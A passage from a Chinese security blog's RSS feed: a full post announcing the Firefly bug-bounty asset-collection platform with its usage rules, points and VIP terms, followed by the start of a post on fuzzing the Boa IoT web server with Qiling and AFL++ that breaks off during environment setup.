<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bfb16e24&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247485815%26idx%3D1%26sn%3D6f25cadf02cc36ec73445b6589d32413%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 10 Feb 2023 10:36:00 +0800</pubDate>
    </item>
    <item>
      <title>Firefly平台SRC资产信息收集功能正式开放</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247485813&amp;idx=1&amp;sn=e4aac4a6c2f4b63ee5d7a6826e5de06f</link>
      <description>前言Firefly是一个集资产管理、信息收集和漏洞扫描的综合平台，目前主要用于日常的自动化挖洞。之前有说会逐</description>
      <content:encoded><![CDATA[<p>
<span>Young</span> <span>2023-02-09 10:17</span> <span style="display: inline-block;">北京</span>
</p>

<p>前言Firefly是一个集资产管理、信息收集和漏洞扫描的综合平台，目前主要用于日常的自动化挖洞。之前有说会逐</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=964c3b2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0z2k3m16wCNgiavyKpFI66ghavoO6qRqcffiba4q6M090eMGcTK8XlbHCDOUQDepGLfLTUzcryOpuUYL5rUewdHA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="color: black;padding-right: 10px;padding-left: 10px;word-break: break-word;overflow-wrap: break-word;text-align: left;line-height: 1.25;letter-spacing: 2px;background-size: 20px 20px;background-position: center center;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><h3 data-tool="mdnice编辑器" style="font-size: 16px;margin-top: 30px;margin-bottom: 15px;font-weight: bold;text-align: center;"></h3><p style="font-size: 16px;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4255555555555556" data-s="300,640" style="" data-type="png" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=421abca0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNgiavyKpFI66ghavoO6qRqcVQEghicvicxjAvq5wQGYgyTq6qhDbljLTQLO3Hg33kAjyjcia7pkSJAlQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 data-tool="mdnice编辑器" style="font-size: 16px;margin-top: 30px;margin-bottom: 15px;font-weight: bold;text-align: center;"><span style="border-bottom: 2px solid #d89cf6;">前言</span></h3><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">Firefly是一个集资产管理、信息收集和漏洞扫描的综合平台，目前主要用于日常的自动化挖洞。之前有说会逐步开放其中的部分功能，现在正式对外开放第一版，主要开放功能为针对SRC资产的子域名收集和网站信息收集功能，其他功能在后续根据情况逐步放出。</p><blockquote style="font-size: 0.9em;box-sizing: border-box;margin-top: 20px;margin-bottom: 20px;border-top: none;border-right: none;border-bottom: none;border-left-color: rgb(216, 156, 246);overflow: auto;background: rgb(244, 238, 255);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;text-align: left;white-space: normal;"><p style="box-sizing: border-box;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;word-spacing: 2px;">第一版功能主要为各位白帽子师傅们提供稳定可靠的src资产数据，减少师傅挖洞前期的信息收集时间，将精力更多的投入在挖漏洞上面。</p></blockquote><ul style="font-size: 15px;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: circle;font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="box-sizing: border-box;"><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">目前平台已收录SRC厂商共189个，目前主要是国内企业自建src或补天等平台的专属src。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">基本可维持子域名更新周期在7天左右，网站信息收集周期约10天左右。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">共收集域名资产400多万条，网站资产60多万条。</section></li></ul><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;"><strong style="color: rgb(145, 109, 213);">「声明:」</strong></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: circle;font-size: 15px;font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">本平台的信息收集相关功能不存在任何攻击行为，也不存在对目标的大量探测请求，不会对目标业务造成任何影响;</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">线上版本收集范围仅各大src资产，不收集任何非src资产;</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">非src和赏金范围的资产可联系我，后续会取消对这些资产的关注。</section></li></ul><h3 data-tool="mdnice编辑器" style="font-size: 16px;margin-top: 30px;margin-bottom: 15px;font-weight: bold;text-align: center;"><span style="border-bottom: 2px solid #d89cf6;">使用方式</span></h3><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;"><strong style="color: rgb(145, 109, 213);">「平台访问地址」</strong></p><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;"><a href="http://firefly.geekyoung.com" target="_blank">http://firefly.geekyoung.com</a></p><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;"><strong style="color: rgb(145, 109, 213);">「界面如下」</strong></p><p style="font-size: 16px;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5618795499669094" data-s="300,640" style="" data-type="png" data-w="3022" src="https://wechat2rss.xlab.app/img-proxy/?k=543dd35a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNgiavyKpFI66ghavoO6qRqcnksHntSbMcE1icH9vpbdFpc95NXIt1bBFqIAaC4wlzuic9BfIJXe2hfQ%2F640%3Fwx_fmt%3Dpng"/></p><figure data-tool="mdnice编辑器" style="font-size: 16px;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure><p style="font-size: 16px;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5265625" data-s="300,640" style="" data-type="png" data-w="2560" src="https://wechat2rss.xlab.app/img-proxy/?k=b1e21346&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNgiavyKpFI66ghavoO6qRqca4CQNF12qmiaW7ZkSzIfiavl23xd076DibK9fibqED0yNQMBIlo0d9fibLw%2F640%3Fwx_fmt%3Dpng"/></p><figure data-tool="mdnice编辑器" style="font-size: 16px;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure><p style="font-size: 16px;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.509375" data-s="300,640" style="" data-type="png" data-w="2560" src="https://wechat2rss.xlab.app/img-proxy/?k=d0173683&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNgiavyKpFI66ghavoO6qRqcP0ibZh47QVRh5iaytVAibJLVnYib5ibUHjqgELcVcv8kDxtiaVuQbxkSZvow%2F640%3Fwx_fmt%3Dpng"/></p><figure data-tool="mdnice编辑器" style="font-size: 16px;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure><p style="font-size: 16px;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.51015625" data-s="300,640" style="" data-type="png" data-w="2560" src="https://wechat2rss.xlab.app/img-proxy/?k=05452c47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNgiavyKpFI66ghavoO6qRqcDYDM6c4MTMb8xxTp0JChiagvFTUQvSHB6ITQiaSibnvKX7CSSww7FHzhg%2F640%3Fwx_fmt%3Dpng"/></p><figure data-tool="mdnice编辑器" style="font-size: 16px;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure><p style="font-size: 16px;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5087924970691676" data-s="300,640" style="" data-type="png" data-w="2559" src="https://wechat2rss.xlab.app/img-proxy/?k=1b2619ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNgiavyKpFI66ghavoO6qRqcLsXZ470NdZuibqGpSBGIPx7gHCnQha5yKlnfUlh2pgKWhKf9eHeXLMw%2F640%3Fwx_fmt%3Dpng"/></p><figure data-tool="mdnice编辑器" style="font-size: 16px;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;"><strong style="color: rgb(145, 109, 213);">「使用方式」</strong></p><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">由于服务器目前配置比较垃圾，除了作为服务端外还承担了扫描节点、日常研究测试等其他工作，为了保证服务器正常运行，目前在功能上做了部分限制，后续会根据运行情况做进一步调整。</p><ul data-tool="mdnice编辑器" style="font-size: 15px;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;list-style-type: circle;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">每个用户初始可选择一个关注的src，目前最高上限是5个;</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">提供切换关注src的功能,切换时间间隔为30天;</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">接口最多可前500页数据即前10000条数据，如果想查看后面的数据请添加更详细的查询条件;</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">平台未收录的src域名可通过域名列表页面增加，审核通过后会加入到收集目标中;</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><strong style="color: rgb(145, 109, 213);">「积分」</strong>可用于增加关注上限,重置切换src的时间,兑换vip权限;</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">vip权限可取消src上限限制,查看所有的src资产;</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">可选择添加微信打赏200r直接获取一年的vip权限;</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">其他额外需求或建议可联系微信。</section></li></ul><p style="font-size: 16px;text-align: center;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/0z2k3m16wCNgiavyKpFI66ghavoO6qRqcDMshN5MwZCibia1icqKzTib2EflufHZONI8UFCSgbQdf1uelChBkQCANiaw/0?wx_fmt=png" data-cropx1="21.025089605734767" data-cropx2="838" data-cropy1="3.0035842293906816" data-cropy2="306.3655913978495" data-galleryid="" data-ratio="0.37209302325581395" data-s="300,640" style="width: 544px;height: 202px;" data-type="jpeg" data-w="817" src="https://wechat2rss.xlab.app/img-proxy/?k=552da718&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0z2k3m16wCNgiavyKpFI66ghavoO6qRqcTHdcGicvoy3HcmqM69CN6NlGdYYOjY0GaLRQjib27yHl9ONibeRG8OquA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;color: black;padding-right: 10px;padding-left: 10px;word-break: break-word;overflow-wrap: break-word;line-height: 1.25;letter-spacing: 2px;background-size: 20px 20px;background-position: center center;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><span style="color: rgb(136, 136, 136);font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;font-size: 13px;letter-spacing: 2px;text-align: center;background-color: rgb(255, 255, 255);">首次可通过点击修改关注SRC选择关注的SRC</span><span style="font-size: 12px;"></span></p><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;"><strong style="color: rgb(145, 109, 213);">「账户获取」</strong></p><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">公众号回复<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">我的信息</code>可查询自己的<strong style="color: rgb(145, 109, 213);">「token」</strong>、<strong style="color: rgb(145, 109, 213);">「积分」</strong>及<strong style="color: rgb(145, 109, 213);">「邀请码」</strong>。</p><ul data-tool="mdnice编辑器" style="font-size: 15px;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;list-style-type: circle;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">token是当前平台的登录密码，目前平台用户名可随意填写</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">积分可用于兑换平台的部分权限</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">可通过邀请他人绑定自己邀请码来获取平台积分</section></li></ul><p style="font-size: 16px;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8909626719056974" data-s="300,640" style="" data-type="png" data-w="1018" src="https://wechat2rss.xlab.app/img-proxy/?k=259741ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNgiavyKpFI66ghavoO6qRqc8FujjarTA2ibOIgnPcIpnPrNIEnGfeVoIJcUV6C1Q1rId0Pz0W25zag%2F640%3Fwx_fmt%3Dpng"/></p><figure data-tool="mdnice编辑器" style="font-size: 16px;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;"><strong style="color: rgb(145, 109, 213);">「积分获取方式（试用）」</strong></p><ul data-tool="mdnice编辑器" style="font-size: 15px;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;list-style-type: circle;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">关注公众号即可获得30积分;</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">绑定邀请码可获得20积分</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">邀请新用户可获得10积分(绑定自己的邀请码),前10次被绑定可双倍积分。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">平台会通过一些其他方式发放积分，比如积分兑换码。</section></li></ul><p style="font-size: 16px;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3711442786069652" data-s="300,640" style="" data-type="png" data-w="1005" src="https://wechat2rss.xlab.app/img-proxy/?k=690a6955&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNgiavyKpFI66ghavoO6qRqc1DomcnXSlampgkYUQlVqgibZSlyxN9J6oS3tKqWW9hFw1QXgZjiaoWWA%2F640%3Fwx_fmt%3Dpng"/></p><figure data-tool="mdnice编辑器" style="font-size: 16px;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 13px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;"><strong style="color: rgb(145, 109, 213);">「积分兑换（试用）」</strong></p><ul data-tool="mdnice编辑器" style="font-size: 15px;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;list-style-type: circle;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">10积分：重置src切换时间</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">100积分：永久增加关注src上限1个，最大可关注5个</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">200积分：7天vip权限</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">500积分：30天vip权限</section></li></ul><h3 data-tool="mdnice编辑器" style="font-size: 16px;margin-top: 30px;margin-bottom: 15px;font-weight: bold;text-align: center;"><span style="border-bottom: 2px solid #d89cf6;">后记</span></h3><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">平台的设计初衷是为了完成一个真正高可用的自动化平台，虽然在基本功能上早已完成，但当资产数据量达到一定程度后，其中可优化及调整的方面仍有很多，所以平台仍在不断测试及更新中，在使用过程中有什么问题欢迎与我交流呀~</p><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;"><strong style="color: rgb(145, 109, 213);">「最后的最后」</strong></p><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">为庆祝平台正式上线，所有在2023-2-10 23:59:59 前关注公众号<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">安全小工坊</code>并回复<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">FA237592</code> 的可额外获得100积分，欢迎师傅们多多捧场呀~~~~</p><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;"><strong style="color: rgb(145, 109, 213);">「最后的最后的最后！」</strong></p><p data-tool="mdnice编辑器" style="font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">感谢RainSec的小伙伴们的大力支持，关注<span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 14px;letter-spacing: 2px;text-align: left;word-spacing: 2px;">公众号</span><code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">RainSec</code>回复<code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">兑换码</code>可额外获得100分兑换码一个，有效期至2023-2-10 23:59:59。</p></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485813">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=89e9c9bd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247485813%26idx%3D1%26sn%3De4aac4a6c2f4b63ee5d7a6826e5de06f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 09 Feb 2023 10:17:00 +0800</pubDate>
    </item>
    <item>
      <title>qiling 框架IotFuzz之Boa</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247485799&amp;idx=1&amp;sn=f2fa3c801c91dfc4a5bf26ea5518961f</link>
      <description>qiling框架IotFuzz之Boa</description>
      <content:encoded><![CDATA[<p>
原创 <span>崎山松形</span> <span>2023-01-31 14:52</span> <span style="display: inline-block;">北京</span>
</p>

<p>qiling框架IotFuzz之Boa</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6dc78906&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkZHBSh4L3QKBgYu8wXM752SJrqYLHKrAEuoZYDicbEG93ds4HibWcNA1nFqZ05udanKQBnkfT75ic2Ng%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">qiling 框架IotFuzz之Boa</h1><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1" data-s="300,640" style="" data-type="png" data-w="225" src="https://wechat2rss.xlab.app/img-proxy/?k=0b049833&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZHBSh4L3QKBgYu8wXM752SzjCOmZgXLkBrn4vibtVHpmD0nC7VBticAfeO8G3NEDXumg7BAYvTjBeg%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">前言</h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  最近在搞Iot的时候接触到Qiling框架，用了一段时间后感觉确实模拟功能挺强大的，还支持Fuzz，于是开始学习对Iot webserver这样的程序进行Fuzz。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  官方给出了类似的例子如Tenda AC15 的httpd的fuzz脚本，但是也就光秃秃一个脚本还是需要自己来一遍才能学到一些东西；因为面向的是Iot webserver的Fuzz因此需要对嵌入式设备中常用web开源框架有一些了解，这里是对于Boa框架的fuzz案例</p><hr style="color: rgb(0, 0, 0);font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">环境准备</strong>：</p><ul style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• qiling-dev branch：这里并没有选择直接pip安装，方便修改源码</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• AFL++：在python中可以<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">import unicornafl</code>就行</p></li><ul style="line-height: 1.75;padding-left: 1em;list-style-position: initial;list-style-image: initial;" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">git clone <a href="https://github.com/AFLplusplus/AFLplusplus.git" target="_blank">https://github.com/AFLplusplus/AFLplusplus.git</a></code> <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">make -C 